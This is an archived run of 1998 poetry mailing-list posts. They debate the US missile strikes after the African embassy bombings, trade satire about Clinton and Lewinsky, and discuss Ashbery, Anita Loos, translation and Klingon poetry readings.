questions Mark raises: what actually happened and what might an appropriate response have been and how might that reponse have led to better results (long term or short term). bin Laden is surely not a "victim" - anymore than the united states is a "victim" of his bombing: to say so is to be wholly inaacurate it seems to me, & to provide no foundation for progressive action, only confirmation of one's beliefs. In this way, the conspiracy theorist is a deeply religious person, and the pure villain and pure victim appear in the service of a fundamentally theological framework. But the world of power politics is a *social* world, a world of *complicity*. And I think the best solutions to this cycle of "terrorism" and retaliation probably come after this admission.

-m.

According to Mark Weiss: >
> All of which is true, but not inevitably relevant, despite, say, Ron's
> claims for what "history has announced" (a pathetic fallacy in more senses
> than one). I'm claiming space as something of an agnostic on these matters.
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> >lots of deaths of people with rich inner lives...
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> >mark "noam" prejsnar
> >
> >
>

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585. **Mark Weiss**
help! I need someone's address!
Tue 25 Aug 1998

Anyone have an email address for Hugh Nicoll? Hugh, if you're lurking, please backchannel.

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586. **daniel bouchard**
acknowledged armchair editors of world
Tue 25 Aug 1998

(Repainted
from:FLASHPOINTSELSEWHERETheotherUSforeign-

policyhurdlesByAaronZitner,Globe
staff,08/22/98)

I SPEAK IN CAPITAL LETTERS TO ZITNER'S lower case…

By moving forcefully against suspected terrorists, President Clinton won praise even from critics of his foreign policy.

"I come to praise Clinton, before we bury him." (Helms) "The noble McCain/ Hath told you Clinton was ambitious/ If it were so, it was a grievous fault that he was not a Republican" (Gingrich) "O liberal elite media! thou art fled to brutish beasts,/ And men have lost their reason/ As polls indicate." (Starr)

Now, some foreign policy specialists say, the president should act with equal resolve to manage another set of overseas problems that could be even more important to the United States.

WE SHOULD BOMB EVERYONE WHO DISAGREES WITH US.

Iraq has suspended its cooperation with United Nations weapons inspectors.

WE SHOULD BOMB THEM.

North Korea shows new signs of building nuclear arms.

WE SHOULD BOMB THEM.

Middle East peace talks have stalled.

WE SHOULD BOMB THEM—ALL OF THEM.

And the Serbian leader, Slobodan Milosevic, is pushing ethnic Albanians out of the province of Kosovo.

WE SHOULD BOMB THEM.

In some of these cases, the United States has warned that there would be stern consequences for bucking US policy.

THE BUCKING STOPS HERE! NO MORE WARNINGS FOR THE UNRULY. IF IT FLIES WITH THE AMERICAN PUBLIC (SOON TO HAVE THE BEJESUS SCARED OUT OF THEM) WE CAN DO WHATEVER WE LIKE. THE VIETNAM SYNDROME IS ALMOST CURED. WHAT WOULD YOU HAVE: FREEDOM TO PEACABLY ASSEMBLE? OR CHEAP GAS? ONLY THE NUTS WILL PROTEST.

Several foreign policy analysts called the antiterrorist strikes on Thursday proper but limited.

BODY COUNTS WERE POPULAR IN THE 60s.

They said Clinton had put few US lives and little political capital at risk in ordering the missile attacks - launched from faraway ships - on people who are

universally unpopular in the United States for alleged ties to the US embassy bombings Aug. 7 in Africa.

SUCH POO-POOING THE DEATHS OF FOREIGNERS IS GOOD FOR THE AMERICAN PEOPLE. CLINTON ATTACK OK; BUT NO BALLS FOR A BIGGER SHOW. SUCH EGGING-ON IN THE POLITICAL ARENA IS LEARNED ON THE GRADE SCHOOL PLAY-LOT. HERE THOUGH, PICTURES OF FIRED MISSILES ON THEIR WAY TO GLORY IS MORE POPULAR TO PUBLISH THAN THE BLOODY CORPSES WHO CAUGHT THEM.

"It's not a very strong statement about our willingness to use force, and I don't think it would change the resolve of Saddam Hussein or Milosevic in Kosovo," said Michael O'Hanlon, a Brookings Institution fellow, about the missile strikes.

WHEN YOU DISCIPLINE (BEAT) A DOG BEFORE THE OTHER DOGS, THE OTHER DOGS LEARN TOO.

Clinton’s foreign policy team also stands accused of failing to solve problems at home. The administration has said repeatedly that the International Monetary Fund needs a cash infusion so it can make new loans to ease the economic crisis in Asia and Russia.

THIS IS A PROBLEM AT HOME!!!
THE PRIVATE BANKER TO THE WORLD IS SHORT OF CASH.
THIS IS AN AMERICAN DOMESTIC PROBLEM.
OF COURSE, BY REPLENISHING THE FUNDS OF THE IMF,
WE ARE ACTUALLY HELPING TO FIGHT RACISM!!!

But the president has been unable to force Congress to set aside new money for the international lending agency. Moreover, Clinton’s push for special "fast track" powers to negotiate trade treaties has stalled.

WHETHER THE "FAST TRACK" POWERS WILL ACTUALLY BENEFIT ANYONE BUT TRANS-NATIONAL CORPORATIONS IS IMMATERIAL. THE IMPLICATION IS THAT HIS FAILURE "TO FORCE CONGRESS" IS ULTIMATELY BAD FOR THE PEOPLE.

Some critics blame the Monica S. Lewinsky sex scandal for the inaction on foreign matters.

SOME CRITICS SUCK EGGS.

For example, Luttwak said, warnings by Secretary of State Madeleine K. Albright that Israel must speed up the peace process have proven to be empty. Clinton has been unwilling to rebuke Israel, he said, for fear of angering pro-Israeli lawmakers who he may need later as the Lewinsky scandal comes before Congress. "So, at this point Madeleine Albright is incapacitated," Luttwak said.

INCAPACITATED, DISCOMBOBULATED, & CONSTIPATED FROM TOO MUCH LIES REGURGITATED.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

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587. Todd Baron /*/ ReMap

Re: sponse is a key word

Tue 25 Aug 1998

Rodrigo Toscano wrote:
>
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>
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>
> RT

dear rt:

My response was a calling really for a poetcis of response...seemingly too often an ISSue is brought up without a cor.re.lative to the written . As poets I'd think we should keep all/both on burners. If we discuss a political issue as surely and simply a political issue (this or that "thing") than indeed I believe the question--now what do we do--is surely an important one. My Oppen quote had to do with the fact that rather than write a poetics of politics Oppen (as many--inculding

you and Noah D. Lissovoy and many others) actually became involved in political movements (which drove him from the US and writing for some time). I'm not sure about how a poem affects the world just yet--even after writing for 25 years--a world that needs affecting in areas of the deepest political strivings. And thus--I really wanted to ask--WHat, now, my love?

So--you saying that poets are well "dipsoed" to deal it out-- I wonder what that really means? Say, to someone who doesn't read...

TB

↑ Index

588. Hilton Manfred Obenzinger

Re: acknowledged armchair editors of world

Tue 25 Aug 1998

Daniel --

You're on a roll -- Hurricane blows up embassy!

Hilton

↑ Index

589. Matt Kirschenbaum

JokeMaster Funnies: King Leer (fwd)

Tue 25 Aug 1998

Now this is funny. Matt

> *Collective copyright 1998 JokeMaster Not to be taken internally*
>
> *THE TRAGIC COMEDIE OF KING LEER*
>
> *Scene 1. A forest glen.*
> *Enter Witch Tripp and Kenneth of Starr.*
>
> *Witch Tripp:*
> *Double, double, Webster Hubbell,*
> *I think I got the Creep in trouble.*
> *Eye of Newt, strap of bra,*
> *Could it be he broke some law?*
> *Praise this broth utmost ephemeral,*
> *Heavens! I left out my Essence of Emeril!*
> *Hark! Who trespasses so near?*

Kenneth of Starr: 'Tis I, the Inquisitor. What news?

Witch Tripp: Things proceed with quickening speed, m'lord. The maiden Lewinsky, so deeply embroil'd, is now join'd by the Lady Willey in like pursuit. Daily tightens the noose around the king.

Starr: Would that it were so, but he hath good counsel, and more moves than a chess board. His public, well pleas'd with good news of the economie, doth o'erlook much.

Witch Tripp: How may I serve you next?

Starr: I have need of acts damnable and facts verifiable. Else he may elude me yet.

Witch Tripp: His dog Buddy, freshly neuter'd, may bear his master harsh reproach. He may consent to wearing a collar of our invention, to survey the king at his ease. Dogs are much accustom'd to insects. What's one more bug?

Starr: Good hag, I rely on you completely. I must away.

(Exeunt Tripp and Starr)

Scene 2. The king's antechamber

Duke of McCurry: My Lord! I needs must speak with you most urgently! The castle is assaulted on all sides!

Leer: What would I not give for an hour's peace!

McCurry: An army of reporters is settled at thy gate. They are press in name and press in deed, for they press me daily, nay, hourly for some explanation from thy lips.

Leer: Who is there among them?

McCurry: Lords Jennings, Brokaw, Rather, Geraldo of Rivera and a

host of others. Methinks I spied the van from Hard Copy.

Leer: You cut me to the quick. Do they not know that I am chaste?

McCurry: They insinuate that thou hast chased too often.

Leer: Never have lies been so artfully stack'd against a pure soul. Where is Lady Hillary?

> *McCurry: Her secretary doth report that she is lock'd in her bath, saying over and over, "Why can I not wash my hands of this guy?"*
>
> *Leer: Oh cursed fate! I must be the most solitary mortal in all creation. Never have I betrayed m'lady's trust.*
>
> *McCurry: Whatever.*
>
> *(Enter Messenger)*
>
> *Messenger: Good king, steel thy nerve. I bring a missive from Kenneth of Starr, the Grand Inquisitor.*
>
> *Leer: Was ever a man as Starr-cross'd as I? Why does this man conspire to afflict me thus? My hand is unsteady. Read it to me.*
>
> *Messenger: Let me see. He offers you his regards, blah, blah, blah, then doth subpoena you to appear at his chamber at Friday next, to forswear again that thou tookst no liberties with the Jones wench, who withdraweth not her claims against you.*
>
> *Leer: I have already so sworn!*
>
> *McCurry: It would seem, m'lord, that the woeful tale of Lady Willey rekindles old flames.*
>
> *Leer: I kiss'd the woman on the forehead, as a sign of my regard. Never was a king so expos'd!*
>
> *McCurry: Truer words were ne'er spoken.*
>
> *Leer: I cannot think on't further. Leave me to my own counsel.*
>
> *(Exeunt Messenger and McCurry)*
>
> *Leer: To be forthright, or not to be forthright, that is the question. Whether 'tis nobler in the mind to suffer the slings and arrows of outrageous fortune, or just bag the whole thing and teach law at a junior college.*
>
> *(Enter Courtier)*
>
> *Courtier: My liege, you are late for an appointed meeting.*
>
> *Leer: What's this?*
>
> *Courtier: You were to interview a new assistant at the stroke of two. She seems most capable, and with rare intellect for one*

so young and fair.

Leer: Well, tell her I will see her anon, and on, and on.

Courtier: A most clever jest, my king.

Leer: Let us not tarry further.

(Exeunt Leer and courtier. Enter Buddy, from behind a chair)

Buddy: So dearest reader, I bid adieu.
Me seeth I have much to do.
And so it comes to this pretty pass
To see if the king doth get some ....

Thanks Curt Mann via Varda Ullman Novick
via Jack Kolb <[redacted]>

UPDATE:

Regarding the "America Online 4.0 Upgrade" or "Setup40.exe" file, Brad Solomon reports that it isn't on the virus hoax pages he has checked. Also that AOL incremental fixes are automatically updated, and other files you might need would have to be downloaded from a specified site.

As always, do not accept or open attached files unless you know the source. And you should always scan any downloads. The computer you save could be your own! [This is an unsolicited personal opinion. Your mileage may vary; batteries not included.]

For your surfing pleasure, visit: www.JokeMaster.com
The JokeMaster Funnies - Free; and worth every penny!
Subscribe - Send to: [redacted]
In body: SUBSCRIBE Funnies
In body: UNsubscribe Funnies

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590. **David W. McFadden**
Re: Comedy
Tue 25 Aug 1998

Gary, You must be referring to Charles Barr's Laurel & Hardy (Berkeley: University of California Press, 1967). Sounds interesting (it's on the database of the library around the corner). It's great fun to watch an old film after you've read an intelligent appreciative article on it. I once made a list of all the films Frank O'Hara mentioned in reviews, but none of them was out on video. This was about two years ago. I did the same with some films Nabokov wrote about, and none of them was out on video either. Oh well. I guess Laurel & Hardy is, or are, out on video, right? dwm "Someone seemed to be beating a carpet out of doors - which was not very probable, and proved not to be the case, for it was the beating of his own heart he heard, quite outside of himself and away in the night, exactly as though someone were beating a carpet with a wicker beater." - Thomas Mann. The Magic Mountain (1924).

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591. **Karen Kelley**
Re: Overproducing Ashbery
Tue 25 Aug 1998

I read an interview where he talked about occasions when he'd put on a favorite piece of music & write & end whenever the music stopped. He spoke of language as always available, like a current under the surface of daily events. I thought this a generous approach. And I think generosity of spirit is why I always like his work--though perhaps it also makes it suspect to the "serious" consumer of poetry. I think what people may be sick of is the how *pervasive* his style is--I mean, who hasn't written an Ashberyesque poem?

-----Original Message-----
From: MAYHEW <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, August 25, 1998 8:26 AM
Subject: Overproducing Ashbery

> *I am one of those people who buy every Ashbery book that comes out--along with everything by Bronk. I remember thinking at a certain point that all he was doing was writing more "Ashberyese"--this was about 10 years ago maybe. This remains a valid criticism, but where is the harm, ultimately? All poets need a certain rhythm of writing to be who they are. Coolidge is another example--if he didn't write so much he wouldn't be Coolidge. And I don't think it is all redundant. Sometimes less is more but sometimes more is more than less. The next Ornette Coleman record probably won't have much that I haven't heard before, but I'll still listen to that too. I've*

> *heard Ashbery writes many more poems than he publishes; can anyone confirm this? This adds another wrinkle.*
>
> *As for Ammons, his work does not hold my attention in the first place, so I can't say whether his case is analogous to that of JA.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

592. **michael corbin**
Re: The Age of Experience
Tue 25 Aug 1998

I know there is no narrative

in this age of

familiar proscenium:

I. (Noise front and wings, stage left)

> *Funny, how in the past 48 plus hours*
> *I'm not sure how relevant*
> *this list have gathered here.*
>
> *right of course.*
> *ratchet up the cycle*
> *ugly twist.*

II. (Film, 25 frames per second--grainy on backdrop)

> *your omniscience. I'm content*
> *US installations*
>
> *how to buy them back*
>
> *(understand this is a friendly inquiry to your inquiry...)*
> *I mean, why has this (does this) come up in this way...*

III. (Done slap-stick--Godot)

> *Angola State Prison*

IV. (Bootleg of Hendrix: fanfare for the common man)

> *All of which is true, but not inevitably relevant,*
> *All of which is true, but not inevitably relevant,*
> *The question remains, I think, given where we are at the moment,*

(Trojan Women)

> *discussion of rhetoric if not poetics proper.*
> *a world of *complicity*.*
> *to this cycle*
>
> *not everone (sic)*
> *can make people cry.*

mc

↑ Index

593. Skagitonians To Preseve Farmland

Re: translation anyone?

Tue 25 Aug 1998

This is a multi-part message in MIME format.

Billy: I've discovered you on the Buffalo List serve which I joined in response to dear Charles' passing, trying to find other ways to stay in touch the loss of our trans-border messenger. You are far more dedicated to responding to some of the babble I've read so far, but every little once in a while, a gem shows up. I liked the interchange re: je suis un autre/ Joe and Bromige's poem.

Sam Hamill (now married to old friend from LaConner, Gray Foster) gave a fine reading from his new book Gratitude last Friday in Anacortes. And I'm lookig forward to the Blaser reading in Seattle for Bumbershoot. Will you be coming down? FYI I've attached the piece I wrote for Charles.

Good to see you, old friend. Let's keep in touch. Is this what they call "back -channel?' I always thought that's where the salmon lay their eggs (for those that still have eggs (or back channels) to lay in).

> From: Billy Little <[redacted]>
> To: [redacted]
> Subject: translation anyone?
> Date: Wednesday, August 19, 1998 9:57 AM
>
> i'm trying to write about this translation of Dino Campana's Orphic Songs
> by i.l. solomon not being fluent in italian and not being a translator, but
> a constant reader of translations, and having studied italian, i definitely
> believe in reading the original language out loud in however poor a
> pronounciation, because meaning pops from the sounding writely or wrongly,

> Berrigan and Zukofsky translate by sound leaving the morpheme to swim in
> the subconscious to work like a drunken worm and poets like Campana and
> Neruda or Lorca can write in a simple or vernacular that makes heightened
> feelings from rhythms. But I'm finding these translations in general too
> literal and not rapturous as Campana's own lingo is reputed. I'm not
> interested in slagging a 98 year old translator but i think the rapture
> might come more readily from a translator in their 20's, or even 40-'s I
> see that Charles Wright has also done a translation i ought to read that
> before telling you to give a pass to this very sensuous book (production
> wise)City Lights, reissue of a thirty year old translation, maybe it's
> Ferlinghetti paying some dues to the community he grew up in and the
> neighbourhood he continues to get wealthy in (Columbus). one thing i will
> report about this translation that irks me somewhat is, for grammars sake,
> he'll (occasionally) transpose the ultimate line with the penultimate;
> negating the weight of the finality, the last word lingering on the tongue
> and the tympanum the position of the word as final serving in my ear like
> epiphany triggers not blind! meaning.
> some of us engage in that old fashioned cogitation, and find it hard to
> think too quickly when old friends are dying like this weekend I was at the
> extended family memorial for charles watts his ashes there in an urn.
> Robin Blaser spoke and read and read a poem of Charles from his sole
> publication, bread & wine,
> Goh Poh Seng read, Bob Rose read, George Bowering appeared looking grey
> (the opposite of merry) the opposite of light he probably had to leave i
> missed speaking to him, Dorothy Trujillo Lusk, Lisa Robertson,
> Pirsilla Groves, Marya Hindmarch, Renee Rodin, Jan___, Peter Magnani,
> Peter and Patti Huse, Ralph Maude's darling her name slips my mind but her
> beauty is seered in my reptile brain, bryant knox, ted byrne, susan clark,
> peter and meredith quartermain, melissa wolsak, all taking one's thoughts
> far from e-mail as grandchildren do and animals needs.
> anybody else reading this City Lights translation of Campana? it's a side
> by side original and translation, which is always my preference, i might
> have three translations on the shelf, one for the quality of the
> translation, one for the original text, and another for the

> apparatus(notes, intros, essays) that's if i can afford a shelf.
>
> billy little
> 4 song st.
> nowhere, b.c. V0R1Z0
>
> Yeah, I stole from
> the treasury
> of human folly
> I spent it all on you, baby...
>
> don't mention it
>
> Duncan McNaughton

↑ Index

594. Scott Pound
Re: Thanks for Klingon
Tue 25 Aug 1998

> *Thanks to everyone for sending me the names of klingon poets. Christian Bok was the one I was looking for. I made the deadline too.*
>
> *Maggie*

The person who identified Christian Bok as the "inventor" of Klingon is wrong, and he is not the poet who read poems in Klingon in Boston (I was there; we drove down together). Darren Wershler-Henry read a poem called "Translating Translating Appolinaire" which is a translation of bpNichol's "Translating Appolinaire" into Klingon.

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595. KENT JOHNSON
Response to Mark Weiss
Tue 25 Aug 1998

But first: Dan Bouchard, you are writing one hell of an unusual book. A brand new genre. Certainly different from your little poem entitled "Make Way for Ducklings" in one of those fine little Mass. Ave's. Go Dan go. Is it dexedrine or the pure fuel of contempt? Amazing.

Mark Weiss and Mike McGee have written very thoughtful posts (no surprise there in either case) on this bombing issue. But Mark, when you say...

"The question remains, I think, given where we are at the moment, what's to be done? Perhaps the missle attacks will have no positive impact, although as to increasing the ire of the bombers, it's hard to imagine they will inspire them with a will to violence that they didn't already possess. Perhaps the only thing that would work is for the world to share the same level of prosperity and power..."

...I think you miss something crucial. The U.S. action will create _new_ terrorist bombers, many of them, who will be convinced beyond doubt that there is no other language but violence with which to engage the violent and arrogant enemy. On this dynamic, there is a very interesting article/interview with a moderate and highly esteemed Islamic scholar from Khartoum in today's NYT (sorry, don't have the name in front of me). It bears reading because his is perhaps the most sensible voice on this sordid affair that has been heard in the U.S. corporate media in the past three days. He is absolutely opposed to the bin Laden gang and he is very, very angry about what the U.S. has done because, as he points out, it will only feed an already spreading fire.

What is to be done? As Dan B. puts the obvious, we are all "armchair" commentators here, but surely there is something we can individually take a stand for in our own small ways. A step forward, it seems to me, is to find our own ways of pushing for a U.S. policy in the Middle East that is balanced and guided by true respect and support for democracy and self-determination in that region. It is clear, and I take it you will agree, that the history of U.S. policy in the Mideast goes in the opposite direction. First and foremost, a new direction would have to mean an honest and aggresive U.S. policy on behalf of true sovereignty for the Palestinian people and a principled rebuff of Israel's right-wing policies of militarism and occupation. It would have to mean, as well, a radical turn away from our revolting embrace of despotic Arab regimes, which millions of Arabs are furious about and rightly see as wounding proof of an imperialist giant's wild hipocrisy and greed.

To say this seems utterly simplistic and even embarrassing, I suppose, for it's been said again and again. And the "expert" laughs and says it is so much more complicated. But now the "experts" are throwing bombs into Arab neighborhoods, and it begins to seem that there is no other course the "experts" can bring themselves to imagine. And how could they, if the underlying stakes are the crude oil of our "national security" and the "defense" of "our way of life"?

The few thousand good people across the country who demonstrated and were roundly ridiculed point to one aspect of "what is to be done." There are thousands of U.S. citizens who have been working in other, quiet ways for a more just policy in the Middle East. Probably their efforts will come to naught, but there they are, trying, not throwing up their hands.

I have one final suggestion on one concrete thing we might do on this List to make a tiny difference, though I have to pose it in the form of a question: How can we find out who the poets in Sudan are? Can we use this occasion to make a contact with a few of them and start some kind of dialogue on these "political" issues and on issues of poetry, issues which finally, I think, are one and the same? It would be fascinating to do this. We have the great World Wide Web--any thoughts on this?

Kent

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596. **KENT JOHNSON**
Andrews/Caddel in DQ
Tue 25 Aug 1998

Ron Silliman posted a few things about Bruce Andrews. I just received the new Denver Quarterly and there are a number of pieces by Andrews opening the issue. There is also a really good interview wiht Richard Caddel and lots of other good stuff.

Kent

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597. **Mark Weiss**
Re: Response to Mark Weiss
Tue 25 Aug 1998

Kent--It's nice not to be villified for expressing doubts, but I really do feel that this is not an issue for the list. (The britlist, by the way, has been carrying on rather interestingly about translation) I do have issues with your statement, but I'll respond backchannel.

At 09:15 PM 8/25/98 -0500, you wrote:
>But first: Dan Bouchard, you are writing one hell of an unusual book.
>A brand new genre. Certainly different from your little poem
>entitled "Make Way for Ducklings" in one of those fine little Mass.
>Ave's. Go Dan go. Is it dexedrine or the pure fuel of contempt?
>Amazing.
>
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>surprise there in either case) on this bombing issue. But Mark, when
>you say...
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>"The question remains, I think, given where we are at the moment,

>what's to be done? Perhaps the missle attacks will have no positive
>impact, although as to increasing the ire of the bombers, it's hard
>to imagine they will inspire them with a will to violence that they
>didn't already possess. Perhaps the only thing that would work is for
>the world to share the same level of prosperity and power..."
>
>...I think you miss something crucial. The U.S. action will create
>_new_ terrorist bombers, many of them, who will be convinced beyond
>doubt that there is no other language but violence with which to
>engage the violent and arrogant enemy. On this dynamic, there is a
>very interesting article/interview with a moderate and highly
>esteemed Islamic scholar from Khartoum in today's NYT (sorry, don't
>have the name in front of me). It bears reading because his is
>perhaps the most sensible voice on this sordid affair that has been
>heard in the U.S. corporate media in the past three days. He is
>absolutely opposed to the bin Laden gang and he is very, very angry
>about what the U.S. has done because, as he points out, it will only
>feed an already spreading fire.
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>What is to be done? As Dan B. puts the obvious, we are all "armchair"
>commentators here, but surely there is something we can individually
>take a stand for in our own small ways. A step forward, it seems to
>me, is to find our own ways of pushing for a U.S. policy in the
>Middle East that is balanced and guided by true respect and support
>for democracy and self-determination in that region. It is clear,
>and I take it you will agree, that the history of U.S. policy in the
>Mideast goes in the opposite direction. First and foremost, a new
>direction would have to mean an honest and aggresive U.S. policy on
>behalf of true sovereignty for the Palestinian people and a
>principled rebuff of Israel's right-wing policies of militarism and
>occupation. It would have to mean, as well, a radical turn away from
>our revolting embrace of despotic Arab regimes, which millions of
>Arabs are furious about and rightly see as wounding proof of an
>imperialist giant's wild hipocrisy and greed.
>
>To say this seems utterly simplistic and even embarrassing, I
>suppose, for it's been said again and again. And the "expert" laughs
>and says it is so much more complicated. But now the "experts" are
>throwing bombs into Arab neighborhoods, and it begins to seem
>that there is no other course the "experts" can bring themselves to
>imagine. And how could they, if the underlying stakes are the crude
>oil of our "national security" and the "defense" of "our way of

>life"?
>
>The few thousand good people across the country who demonstrated and
>were roundly ridiculed point to one aspect of "what is to be done."
>There are thousands of U.S. citizens who have been working in other,
>quiet ways for a more just policy in the Middle East. Probably their
>efforts will come to naught, but there they are, trying, not throwing
>up their hands.
>
>I have one final suggestion on one concrete thing we might do on this
>List to make a tiny difference, though I have to pose it in the form
>of a question: How can we find out who the poets in Sudan are? Can we
>use this occasion to make a contact with a few of them and start some
>kind of dialogue on these "political" issues and on issues of poetry,
>issues which finally, I think, are one and the same? It would be
>fascinating to do this. We have the great World Wide Web--any
>thoughts on this?
>
>Kent
>
>

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598. **Ramez Ejaz Qureshi**
Re: Ashbery Review
Tue 25 Aug 1998

I confess too having a very formalist opinion on the matter of over- production. Who cares about the degree of "inspiration" or whatever romantic formulation of that sort behind a poem as long as the poem itself stands on its own?

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599. **Elizabeth Treadwell**
HOLLYWOOD, USA
Tue 25 Aug 1998

1. about Todd's film funny poetix request, I must point out my hero Miss Anita Loos a helluva a gal who raked in buckets of dough writing hilarious (& subversive) lines for female (& male) stars early on and whose masterpiece _Gentlemen Prefer Blondes_ Edith Wharton called (tongue in cheek or not) "the great american novel". Any other fans? Her (Loos) biography of the Talmadge sisters,

the Brontes of the early screen, is also fab. [+ my sister lives near Talmadge St in LA.]

1a. also Mae West's autobiography is a laugh & 1/2

2. More BULLWORTH watchout -- in response to Patrick's post, I only emphasized the Femaleness of my friend due to the fact that I left her ungendered in my original post and then Mike's post back referred to her as a HIM. I had left out her gender to begin with cause I don't know how far and wide she wants me telling her minor (?) work related irritations that involve the power brokers of Hollywood, a place I, Patrick, have also worked, and a place that while irritating perhaps to all, does save some specific types of irritation (read supression or whatever) for its female workers, especially lowly ones such as I was. However there are those perks such as getting slapped on the ass by rising stars. Anycase, my friend is neither naive nor idealistic, as you so quaintly describe her, simply a working gal with a functioning brain (plus all that experience as a woman of color that Beatty so seems to covet). She knows and I know exactly what you speak of when you say the (I'll call it "collaborative") membrane is always less porous than it appears to be. In fact, I think you've kind of made my point. Tho I'll never see Beatty as a hero for getting a semi-interesting flick made. How hard does that fellow have to "twist arms" to get what he wants? If he wanted me to remain interested in his oeuvre he most certainly woulda thought twice about Bugsy, Dick Tracy, and whatever romantic remake that was he did with his wife. THESE PEOPLE ARE NOT SMART OR Adventurous, No James Cameron, I won't take a moment of silence for your fake version of history (tho I will watch the Oscars), No Kevin Costner, you don't have the lowdown on Native Americans, etc etc etc.

3. PS to Todd : Jean Harlow, Dinner at Eight, glorious!!

Elizabeth Treadwell

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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600. **A. Jenn Sondheim**
Re: Response to Mark Weiss
Tue 25 Aug 1998

I do beg to differ with Mark Weiss; this is an issue for the list, to the extent that poetry is engaged, that we have our backs up/against a relation to this engagement, and to the extent that we are entered a new dis/order of the world in which the key will be dispersions, refugees, the wailing of centrists, debris and nuclear shipments backchannel.

Alan

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601. **A. Jenn Sondheim**
Re: HOLLYWOOD, USA
Tue 25 Aug 1998

I've definitely been a fan of Loos, also for that matter, Mae West's writings. And for years I've been trying to read Lacan through the Marx Brothers, since they refuse to participate the other way around.

Alan

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602. **Thomas Bell**
Re: response to responce toResponse to Mark Weiss
Wed 26 Aug 1998

"in Marinetti's work the chaos of war grows directly out of the chaos of style." - markoVladimir, _Russian Futurism. chaos/war>disjunction or disjunction>chaos/war?

tom bell

A. Jenn Sondheim wrote:
>
> I do beg to differ with Mark Weiss; this is an issue for the list, to the
> extent that poetry is engaged, that we have our backs up/against a
> relation to this engagement, and to the extent that we are entered a new
> dis/order of the world in which the key will be dispersions, refugees, the
> wailing of centrists, debris and nuclear shipments backchannel.
>
> Alan

↑ Index

603. **Jim Andrews**
Ashbery in online Jacket
Wed 26 Aug 1998

http://jacket.zip.com.au/jacket02/index02.html is Jacket #2, published by John Tranter. It's a special issue on John Ashbery, and contains two charming interviews with him by Tranter as well as some poetry by Ashbery, among other things.

--
V I S P O ~ L A N G U (I M) A G E
http://www.speakeasy.org/~jandrews

↑ Index

604. **Jim Andrews**
Ashbery and the horoscopical
Wed 26 Aug 1998

One of the things I like about Ashbery's longer poems (though this also applies to some shorter ones) is the way he manages to reconstruct story. His "and then" is apparently narrative, but, uh, life of the mindish, reflective life of the poet and friends, countrymen...

Also, I like the way his poetry turns on a dime. Another poet who writes a lot and turns on a dime is bill bissett, who wrote an excellent sequence of prose poems about 'blur street' (bissett lives on Bloor in Toronto).

There was a time when I was packing a couple of Ashbery books around with me (Flow Chart and Three Poems) that I'd pick up at random. More frequently than you'd think, the poem at hand was surprisingly relevant to the circumstances of the moment.

Of course, there are many 'explanations' of this, but it doesn't happen much, all the same.

Some time later, I happened upon a passage in one of his books where he talked about horoscopes and such, and showed that he had thought about writing in a somewhat horoscopical manner, which told me that yet another 'explanation' was up.

Not that any explanation amounts to much without affinity. Not even that explanation is required.

I mentioned this notion of the 'horoscopical' in Ashbery to a friend, who thought it would be better termed 'alchemical,' but that seems to me to obscure the connection with horoscopes and that writing.

Perhaps it simply amounts to my feeling of a special affinity with Ashbery's writing. Certainly I feel that. I read him in my early twenties and hardly understood a word. It seems there's writing for different ages, or so I've found.

Yes, his output is voluminous, as someone else noted, and there is a kind of 'noodling' that he does, like a musician, as someone else intimated. But I am glad he does not wait for lightning.

--
V I S P O ~ L A N G U (I M) A G E
http://www.speakeasy.org/~jandrews

↑ Index

605. **Todd Baron /*/ ReMap**
Re: HOLLYWOOD, USA
Wed 26 Aug 1998

Elizabeth Treadwell wrote:
>
> 1. about Todd's film funny poetix request, I must point out my hero Miss
> Anita Loos a helluva a gal who raked in buckets of dough writing hilarious
> (& subversive) lines for female (& male) stars early on and whose
> masterpiece _Gentlemen Prefer Blondes_ Edith Wharton called (tongue in cheek
> or not) "the great american novel". Any other fans? Her (Loos) biography of
> the Talmadge sisters, the Brontes of the early screen, is also fab. [+ my
> sister lives near Talmadge St in LA.]
>
> 1a. also Mae West's autobiography is a laugh & 1/2
>
> 2. More BULLWORTH watchout --
> in response to Patrick's post, I only emphasized the Femaleness of my friend
> due to the fact that I left her ungendered in my original post and then
> Mike's post back referred to her as a HIM. I had left out her gender to
> begin with cause I don't know how far and wide she wants me telling her
> minor (?) work related irritations that involve the power brokers of
> Hollywood, a place I, Patrick, have also worked, and a place that while
> irritating perhaps to all, does save some specific types of irritation (read
> supression or whatever) for its female workers, especially lowly ones such
> as I was. However there are those perks such as getting slapped on the ass
> by rising stars. Anycase, my friend is neither naive nor idealistic, as you
> so quaintly describe her, simply a working gal with a functioning brain
> (plus all that experience as a woman of color that Beatty so seems to

> covet). She knows and I know exactly what you speak of when you say the
> (I'll call it "collaborative") membrane is always less porous than it
> appears to be. In fact, I think you've kind of made my point. Tho I'll
> never see Beatty as a hero for getting a semi-interesting flick made. How
> hard does that fellow have to "twist arms" to get what he wants? If he
> wanted me to remain interested in his oeuvre he most certainly woulda
> thought twice about Bugsy, Dick Tracy, and whatever romantic remake that
was
> he did with his wife. THESE PEOPLE ARE NOT SMART OR Adventurous, No
James
> Cameron, I won't take a moment of silence for your fake version of history
> (tho I will watch the Oscars), No Kevin Costner, you don't have the lowdown
> on Native Americans, etc etc etc.
>
> 3. PS to Todd : Jean Harlow, Dinner at Eight, glorious!!
>
> Elizabeth Treadwell
>
> Outlet, a periodical
> Double Lucy Books
> P.O. Box 9013
> Berkeley, California 94709
> U.S.A.
> http://users.lanminds.com/~dblelucy

wow--wonderful titles-- (E. do you have the titles of the talmage and west
books?) also--Keatons "My Wonderful World of Slapstick"!)

yes--Loos! etc. Talmadge street-- LA has a history of
comedy and a comedic history--

any ideas re: Zukofsky and the Comedic?
I always find moments in A
that ring true as hilarious!

TB

↑ Index

606. **Todd Baron /*/ ReMap**
Re: HOLLYWOOD, USA
Wed 26 Aug 1998

---

great--read also Derrida through WC Fields!
as =--water? never touch the stuff--
fish fornicate in it"

TB

↑ Index

607. **Safdie Joseph**
Humorous and rich inner lives
Wed 26 Aug 1998

